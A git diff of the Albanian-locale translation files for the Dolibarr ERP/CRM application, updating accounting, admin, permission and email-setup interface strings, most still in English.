      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,28 +59,29 @@ MainAccountForSuppliersNotDefined=Main accounting account for vendors not define MainAccountForUsersNotDefined=Main accounting account for users not defined in setup MainAccountForVatPaymentNotDefined=Main accounting account for VAT payment not defined in setup MainAccountForSubscriptionPaymentNotDefined=Main accounting account for subscription payment not defined in setup +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Accounting area AccountancyAreaDescIntro=Usage of the accountancy module is done in several step: AccountancyAreaDescActionOnce=The following actions are usually executed one time only, or once per year... -AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you the correct default accounting account when making the journalization (writing record in Journals and General ledger) +AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you automaticaly the correct default accounting account when transferring data in accounting AccountancyAreaDescActionFreq=The following actions are usually executed every month, week or day for very large companies... -AccountancyAreaDescJournalSetup=STEP %s: Create or check content of your journal list from menu %s +AccountancyAreaDescJournalSetup=STEP %s: Check content of your journal list from menu %s AccountancyAreaDescChartModel=STEP %s: Check that a model of chart of account exists or create one from menu %s AccountancyAreaDescChart=STEP %s: Select and|or complete your chart of account from menu %s AccountancyAreaDescVat=STEP %s: Define accounting accounts for each VAT Rates. For this, use the menu entry %s. AccountancyAreaDescDefault=STEP %s: Define default accounting accounts. For this, use the menu entry %s. -AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of expense report. For this, use the menu entry %s. +AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of Expense report. For this, use the menu entry %s. AccountancyAreaDescSal=STEP %s: Define default accounting accounts for payment of salaries. For this, use the menu entry %s. -AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for special expenses (miscellaneous taxes). For this, use the menu entry %s. +AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for Taxes (special expenses). For this, use the menu entry %s. AccountancyAreaDescDonation=STEP %s: Define default accounting accounts for donation. For this, use the menu entry %s. AccountancyAreaDescSubscription=STEP %s: Define default accounting accounts for member subscription. For this, use the menu entry %s. AccountancyAreaDescMisc=STEP %s: Define mandatory default account and default accounting accounts for miscellaneous transactions. For this, use the menu entry %s. AccountancyAreaDescLoan=STEP %s: Define default accounting accounts for loans. For this, use the menu entry %s. AccountancyAreaDescBank=STEP %s: Define accounting accounts and journal code for each bank and financial accounts. For this, use the menu entry %s. -AccountancyAreaDescProd=STEP %s: Define accounting accounts on your products/services. For this, use the menu entry %s. +AccountancyAreaDescProd=STEP %s: Define accounting accounts on your Products/Services. For this, use the menu entry %s. AccountancyAreaDescBind=STEP %s: Check the binding between existing %s lines and accounting account is done, so application will be able to journalize transactions in Ledger in one click. Complete missing bindings. For this, use the menu entry %s. AccountancyAreaDescWriteRecords=STEP %s: Write transactions into the Ledger. For this, go into menu %s, and click into button %s. @@ -112,7 +114,7 @@ MenuAccountancyClosure=Closure MenuAccountancyValidationMovements=Validate movements ProductsBinding=Products accounts TransferInAccounting=Transfer in accounting -RegistrationInAccounting=Registration in accounting +RegistrationInAccounting=Recording in accounting Binding=Binding to accounts CustomersVentilation=Customer invoice binding SuppliersVentilation=Vendor invoice binding @@ -120,7 +122,7 @@ ExpenseReportsVentilation=Expense report binding CreateMvts=Create new transaction UpdateMvts=Modification of a transaction ValidTransaction=Validate transaction -WriteBookKeeping=Register transactions in accounting +WriteBookKeeping=Record transactions in accounting Bookkeeping=Ledger BookkeepingSubAccount=Subledger AccountBalance=Balanca e llogarisё @@ -161,41 +163,46 @@ BANK_DISABLE_DIRECT_INPUT=Disable direct recording of transaction in bank accoun ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Enable draft export on journal ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Sell journal -ACCOUNTING_PURCHASE_JOURNAL=Purchase journal -ACCOUNTING_MISCELLANEOUS_JOURNAL=Miscellaneous journal +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Expense report journal -ACCOUNTING_SOCIAL_JOURNAL=Social journal +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Has new Journal +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Social journal ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal of closure -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=Accounting account of wait -DONATION_ACCOUNTINGACCOUNT=Accounting account to register donations -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Accounting account by default for the sold products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Accounting account by default for the bought services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Accounting account by default for the sold services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Type of document Docdate=Date @@ -210,7 +217,7 @@ Codejournal=Journal JournalLabel=Journal label NumPiece=Piece number TransactionNumShort=Num. transaction -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=You can define here some groups of accounting account. They will be used for personalized accounting reports. @@ -219,12 +226,12 @@ ByPredefinedAccountGroups=By predefined groups ByPersonalizedAccountGroups=By personalized groups ByYear=By year NotMatch=Jo i vendosur -DeleteMvt=Delete some operation lines from accounting +DeleteMvt=Delete some lines from accounting DelMonth=Month to delete DelYear=Viti qё do tё fshihet DelJournal=Journal to delete -ConfirmDeleteMvt=This will delete all operation lines of the accounting for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. -ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all operation lines related to the same transaction will be deleted) +ConfirmDeleteMvt=This will delete all lines in accountancy for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. +ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) FinanceJournal=Finance journal ExpenseReportsJournal=Expense reports journal DescFinanceJournal=Finance journal including all the types of payments by bank account @@ -264,13 +271,13 @@ Reconcilable=Reconcilable TotalVente=Total turnover before tax TotalMarge=Total sales margin -DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product accounting account -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product accounting account -DescVentilTodoCustomer=Bind invoice lines not already bound with a product accounting account -ChangeAccount=Change the product/service accounting account for selected lines with the following accounting account: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=Bind expense report lines not already bound with a fee accounting account DescVentilExpenseReport=Consult here the list of expense report lines bound (or not) to a fee accounting account @@ -278,30 +285,31 @@ DescVentilExpenseReportMore=If you setup accounting account on type of expense r DescVentilDoneExpenseReport=Consult here the list of the lines of expenses reports and their fees accounting account Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not validated & fiscal years already open -OverviewOfMovementsNotValidated=Step 1/ Overview of movements not validated. (Necessary to close a fiscal year) -AllMovementsWereRecordedAsValidated=All movements were recorded as validated -NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated -ValidateMovements=Validate movements +DescClosure=Consult here the number of movements by month not yet validated & locked +OverviewOfMovementsNotValidated=Overview of movements not validated and locked +AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked +NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked +ValidateMovements=Validate and lock movements... DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible ValidateHistory=Bind Automatically AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) -ErrorAccountancyCodeIsAlreadyUse=Error, you cannot delete this accounting account because it is used -MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s | Credit = %s +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used +MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Balancing FicheVentilation=Binding card GeneralLedgerIsWritten=Transactions are written in the Ledger GeneralLedgerSomeRecordWasNotRecorded=Some of the transactions could not be journalized. If there is no other error message, this is probably because they were already journalized. -NoNewRecordSaved=No more record to journalize -ListOfProductsWithoutAccountingAccount=List of products not bound to any accounting account +NoNewRecordSaved=No more record to transfer +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Change the binding Accounted=Accounted in ledger NotYetAccounted=Not yet transferred to accounting ShowTutorial=Show Tutorial NotReconciled=Not reconciled -WarningRecordWithoutSubledgerAreExcluded=Warning, all operations without subledger account defined are filtered and excluded from this view +WarningRecordWithoutSubledgerAreExcluded=Warning, all lines without subledger account defined are filtered and excluded from this view +AccountRemovedFromCurrentChartOfAccount=Accounting account that does not exist in the current chart of accounts ## Admin BindingOptions=Binding options @@ -317,9 +325,10 @@ AccountingJournalType1=Miscellaneous operations AccountingJournalType2=Sales AccountingJournalType3=Purchases AccountingJournalType4=Bank -AccountingJournalType5=Expenses report +AccountingJournalType5=Expense reports AccountingJournalType8=Inventory AccountingJournalType9=Has-new +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=This journal is already use AccountingAccountForSalesTaxAreDefinedInto=Note: Accounting account for Sales tax are defined into menu %s - %s NumberOfAccountancyEntries=Number of entries @@ -327,10 +336,13 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting ## Export -NotifiedExportDate=Flag exported lines as exported (modification of the lines will not be possible) -NotifiedValidationDate=Validate the exported entries (modification or deletion of the lines will not be possible) +NotExportLettering=Do not export the lettering when generating the file +NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Export draft journal Modelcsv=Model of export @@ -394,6 +406,26 @@ Range=Range of accounting account Calculated=Calculated Formula=Formula +## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual +Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual +AccountancyNoLetteringModified=No reconcile modified +AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified +AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified +AccountancyNoUnletteringModified=No unreconcile modified +AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modified +AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified + +## Confirm box +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? +ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation +ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? + ## Error SomeMandatoryStepsOfSetupWereNotDone=Some mandatory steps of setup was not done, please complete them ErrorNoAccountingCategoryForThisCountry=No accounting account group available for country %s (See Home - Setup - Dictionaries) @@ -406,6 +438,10 @@ Binded=Lines bound ToBind=Lines to bind UseMenuToSetBindindManualy=Lines not yet bound, use menu %s to make the binding manually SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorry this module is not compatible with the experimental feature of situation invoices +AccountancyErrorMismatchLetterCode=Mismatch in reconcile code +AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 +AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists ## Import ImportAccountingEntries=Accounting entries @@ -432,6 +468,5 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Date export WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. ExpenseReportJournal=Expense Report Journal -InventoryJournal=Inventory Journal NAccounts=%s accounts diff --git a/htdocs/langs/sq_AL/admin.lang b/htdocs/langs/sq_AL/admin.lang index 9ceec93e86e..ab3501c3387 100644 --- a/htdocs/langs/sq_AL/admin.lang +++ b/htdocs/langs/sq_AL/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Client collation WarningModuleNotActive=Module %s must be enabled WarningOnlyPermissionOfActivatedModules=Only permissions related to activated modules are shown here. You can activate other modules in the Home->Setup->Modules page. DolibarrSetup=Instalo ose përditëso Dolibarr -InternalUser=Përdorues i brendshëm -ExternalUser=Përdorues i jashtëm InternalUsers=Përdorues të brendshëm ExternalUsers=Përdorues të jashtëm UserInterface=User interface @@ -109,7 +107,7 @@ NextValueForReplacements=Next value (replacements) MustBeLowerThanPHPLimit=Note: your PHP configuration currently limits the maximum filesize for upload to %s %s, irrespective of the value of this parameter NoMaxSizeByPHPLimit=Note: No limit is set in your PHP configuration MaxSizeForUploadedFiles=Maximum size for uploaded files (0 to disallow any upload) -UseCaptchaCode=Use graphical code (CAPTCHA) on login page +UseCaptchaCode=Use graphical code (CAPTCHA) on login page and some public pages AntiVirusCommand=Full path to antivirus command AntiVirusCommandExample=Example for ClamAv Daemon (require clamav-daemon): /usr/bin/clamdscan
      Example for ClamWin (very very slow): c:\\Progra~1\\ClamWin\\bin\\clamscan.exe AntiVirusParam= More parameters on command line @@ -294,6 +292,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS Host (default value in php.ini: %s) MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP/SMTPS Port (Not defined into PHP on Unix-like systems) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP/SMTPS Host (Not defined into PHP on Unix-like systems) MAIN_MAIL_EMAIL_FROM=Sender email for automatic emails (default value in php.ini: %s) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=Email used for error returns emails (fields 'Errors-To' in emails sent) MAIN_MAIL_AUTOCOPY_TO= Copy (Bcc) all sent emails to MAIN_DISABLE_ALL_MAILS=Disable all email sending (for test purposes or demos) @@ -439,8 +438,10 @@ Unique=Unique Boolean=Boolean (one checkbox) ExtrafieldPhone = Telefon ExtrafieldPrice = Price +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = Email ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Select list ExtrafieldSelectList = Select from table ExtrafieldSeparator=Separator (not a field) @@ -477,7 +478,7 @@ InstalledInto=Installed into directory %s BarcodeInitForThirdparties=Mass barcode init for third-parties BarcodeInitForProductsOrServices=Mass barcode init or reset for products or services CurrentlyNWithoutBarCode=Currently, you have %s record on %s %s without barcode defined. -InitEmptyBarCode=Init value for next %s empty records +InitEmptyBarCode=Init value for the %s empty barcodes EraseAllCurrentBarCode=Erase all current barcode values ConfirmEraseAllCurrentBarCode=Are you sure you want to erase all current barcode values? AllBarcodeReset=All barcode values have been removed @@ -501,10 +502,11 @@ WarningPHPMail=WARNING: The setup to send emails from the application is using t WarningPHPMailA=- Using the server of the Email Service Provider increases the trustability of your email, so it increases the deliverablity without being flagged as SPAM WarningPHPMailB=- Some Email Service Providers (like Yahoo) do not allow you to send an email from another server than their own server. Your current setup uses the server of the application to send email and not the server of your email provider, so some recipients (the one compatible with the restrictive DMARC protocol), will ask your email provider if they can accept your email and some email providers (like Yahoo) may respond "no" because the server is not theirs, so few of your sent Emails may not be accepted for delivery (be careful also of your email provider's sending quota). WarningPHPMailC=- Using the SMTP server of your own Email Service Provider to send emails is also interesting so all emails sent from application will also be saved into your "Sent" directory of your mailbox. -WarningPHPMailD=Also, it is therefore recommended to change the sending method of e-mails to the value "SMTP". If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by setting the MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constant to 1 in Home - Setup - Other. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=If your email SMTP provider need to restrict email client to some IP addresses (very rare), this is the IP address of the mail user agent (MUA) for your ERP CRM application: %s. WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. -ActualMailSPFRecordFound=Actual SPF record found : %s +ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s ClickToShowDescription=Click to show description DependsOn=This module needs the module(s) RequiredBy=This module is required by module(s) @@ -514,7 +516,7 @@ PageUrlForDefaultValuesCreate=
      Example:
      For the form to create a new third PageUrlForDefaultValuesList=
      Example:
      For the page that lists third parties, it is %s.
      For URL of external modules installed into custom directory, do not include the "custom/" so use a path like mymodule/mypagelist.php and not custom/mymodule/mypagelist.php.
      If you want default value only if url has some parameter, you can use %s AlsoDefaultValuesAreEffectiveForActionCreate=Also note that overwritting default values for form creation works only for pages that were correctly designed (so with parameter action=create or presend...) EnableDefaultValues=Enable customization of default values -EnableOverwriteTranslation=Enable usage of overwritten translation +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=A translation has been found for the key with this code. To change this value, you must edit it from Home-Setup-translation. WarningSettingSortOrder=Warning, setting a default sort order may result in a technical error when going on the list page if field is an unknown field. If you experience such an error, come back to this page to remove the default sort order and restore default behavior. Field=Field @@ -645,9 +647,9 @@ Module2400Name=Events/Agenda Module2400Desc=Track events. Log automatic events for tracking purposes or record manual events or meetings. This is the principal module for good Customer or Vendor Relationship Management. Module2500Name=DMS / ECM Module2500Desc=Document Management System / Electronic Content Management. Automatic organization of your generated or stored documents. Share them when you need. -Module2600Name=API/Web services (SOAP server) +Module2600Name=API / Web services (SOAP server) Module2600Desc=Enable the Dolibarr SOAP server providing API services -Module2610Name=API/Web services (REST server) +Module2610Name=API / Web services (REST server) Module2610Desc=Enable the Dolibarr REST server providing API services Module2660Name=Call WebServices (SOAP client) Module2660Desc=Enable the Dolibarr web services client (Can be used to push data/requests to external servers. Only Purchase orders are currently supported.) @@ -698,6 +700,7 @@ Module62000Name=Incoterms Module62000Desc=Add features to manage Incoterms Module63000Name=Resources Module63000Desc=Manage resources (printers, cars, rooms, ...) for allocating to events +Module94160Name=Receptions Permission11=Read customer invoices Permission12=Create/modify customer invoices Permission13=Invalidate customer invoices @@ -714,13 +717,14 @@ Permission27=Delete commercial proposals Permission28=Export commercial proposals Permission31=Read products Permission32=Create/modify products +Permission33=Read prices products Permission34=Delete products Permission36=See/manage hidden products Permission38=Export products Permission39=Ignore minimum price -Permission41=Read projects and tasks (shared project and projects I'm contact for). Can also enter time consumed, for me or my hierarchy, on assigned tasks (Timesheet) -Permission42=Create/modify projects (shared project and projects I'm contact for). Can also create tasks and assign users to project and tasks -Permission44=Delete projects (shared project and projects I'm contact for) +Permission41=Read projects and tasks (shared projects and projects of which I am a contact). +Permission42=Create/modify projects (shared projects and projects of which I am a contact). Can also assign users to projects and tasks +Permission44=Delete projects (shared projects and projects of which I am a contact) Permission45=Export projects Permission61=Read interventions Permission62=Create/modify interventions @@ -739,6 +743,7 @@ Permission79=Create/modify subscriptions Permission81=Read customers orders Permission82=Create/modify customers orders Permission84=Validate customers orders +Permission85=Generate the documents sales orders Permission86=Send customers orders Permission87=Close customers orders Permission88=Cancel customers orders @@ -766,9 +771,10 @@ Permission122=Create/modify third parties linked to user Permission125=Delete third parties linked to user Permission126=Export third parties Permission130=Create/modify third parties payment information -Permission141=Read all projects and tasks (also private projects for which I am not a contact) -Permission142=Create/modify all projects and tasks (also private projects for which I am not a contact) -Permission144=Delete all projects and tasks (also private projects i am not contact for) +Permission141=Read all projects and tasks (as well as the private projects for which I am not a contact) +Permission142=Create/modify all projects and tasks (as well as the private projects for which I am not a contact) +Permission144=Delete all projects and tasks (as well as the private projects I am not a contact) +Permission145=Can enter time consumed, for me or my hierarchy, on assigned tasks (Timesheet) Permission146=Read providers Permission147=Read stats Permission151=Read direct debit payment orders @@ -839,9 +845,9 @@ Permission286=Export contacts Permission291=Read tariffs Permission292=Set permissions on the tariffs Permission293=Modify customer's tariffs -Permission300=Read barcodes -Permission301=Create/modify barcodes -Permission302=Delete barcodes +Permission301=Generate PDF sheets of barcodes +Permission304=Create/modify barcodes +Permission305=Delete barcodes Permission311=Read services Permission312=Assign service/subscription to contract Permission331=Read bookmarks @@ -873,6 +879,7 @@ Permission525=Access loan calculator Permission527=Export loans Permission531=Read services Permission532=Create/modify services +Permission533=Read prices services Permission534=Delete services Permission536=See/manage hidden services Permission538=Export services @@ -883,6 +890,9 @@ Permission564=Record Debits/Rejections of credit transfer Permission601=Read stickers Permission602=Create/modify stickers Permission609=Delete stickers +Permission611=Read attributes of variants +Permission612=Create/Update attributes of variants +Permission613=Delete attributes of variants Permission650=Read Bills of Materials Permission651=Create/Update Bills of Materials Permission652=Delete Bills of Materials @@ -964,11 +974,14 @@ Permission3301=Generate new modules Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu +Permission4031=Read personal information +Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Read website content Permission10002=Create/modify website content (html and javascript content) Permission10003=Create/modify website content (dynamic php code). Dangerous, must be reserved to restricted developers. @@ -1068,9 +1081,14 @@ DictionaryExpenseTaxCat=Expense report - Transportation categories DictionaryExpenseTaxRange=Expense report - Range by transportation category DictionaryTransportMode=Intracomm report - Transport mode DictionaryBatchStatus=Product lot/serial Quality Control status +DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=Type of unit SetupSaved=Setup saved SetupNotSaved=Setup not saved +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Back to Module list BackToDictionaryList=Back to Dictionaries list TypeOfRevenueStamp=Type of tax stamp @@ -1122,7 +1140,7 @@ ValueOfConstantKey=Value of a configuration constant ConstantIsOn=Option %s is on NbOfDays=No. of days AtEndOfMonth=At end of month -CurrentNext=Current/Next +CurrentNext=A given day in month Offset=Offset AlwaysActive=Always active Upgrade=Upgrade @@ -1187,7 +1205,7 @@ 